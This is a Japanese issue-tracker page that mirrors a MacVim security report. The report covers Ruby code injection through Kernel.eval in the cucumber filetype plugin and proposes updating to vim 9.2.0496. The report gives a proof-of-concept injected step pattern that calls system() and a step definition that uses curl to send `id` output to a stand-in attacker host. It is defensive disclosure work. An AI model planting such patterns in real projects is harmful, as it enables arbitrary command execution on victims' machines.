[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

オープン
#1,654 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
3/5
見積もり時間
1〜2日
初心者へのやさしさ
68/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
静か
技術スタック
ruby, vim

調査の方向性

まず runtime/ftplugin/cucumber.vim を調査し、s:stepmatch() の実装を upstream Vim のコミット a65a52d684bc58535ad28a4ae824d22e76399934 と比較します。バンドルされている runtime を更新して 9.2.0496 の修正を含め、その後、脆弱な Kernel.eval() のパスが置き換えられ、影響を受ける runtime バージョンが最新であることを確認します。

索引モデルが issue の本文から書いたものです。

説明

[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

Summary

MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.

Vulnerability Details

  • GHSA: GHSA-4473-94jm-w5x9
  • Upstream fix: vim 9.2.0496 (commit a65a52d684bc58535ad28a4ae824d22e76399934)
  • Affected code: runtime/ftplugin/cucumber.vims:stepmatch() function
  • Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)

Root Cause

In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:

" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
  ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:

/) + system('touch /tmp/pwned') + (/

then Kernel.eval('/'+pattern+'/') becomes:

Kernel.eval('//) + system('touch /tmp/pwned') + (//') 

The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.

The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.

Attack Scenario
  1. An attacker places a malicious .rb step-definitions file in the project's
    features/step_definitions/ directory with a crafted step pattern:
    Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do
    end
    
  2. The victim opens a .feature file in MacVim (which has +ruby) and uses the
    [d or ]d step-jump mappings that call s:steps()s:stepmatch().
  3. Kernel.eval executes the injected Ruby expression, running system() with
    arbitrary shell commands.

Affected MacVim Code

" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Affected MacVim Version

MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.

The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.

Suggested Fix

Merge or cherry-pick vim/vim patches up to at least 9.2.0496.

The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:

# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.

References

主要言語
Vim Script
スター
7.9k
フォーク
691
PR マージ指標
30日以内にマージされた PR はありません

コントリビューションガイド

コントリビューションガイドを開く

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

macvim-dev/macvim のほかの issue

macvim-dev/macvim の issue をすべて見る

似ている issue

Desktop Dev の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。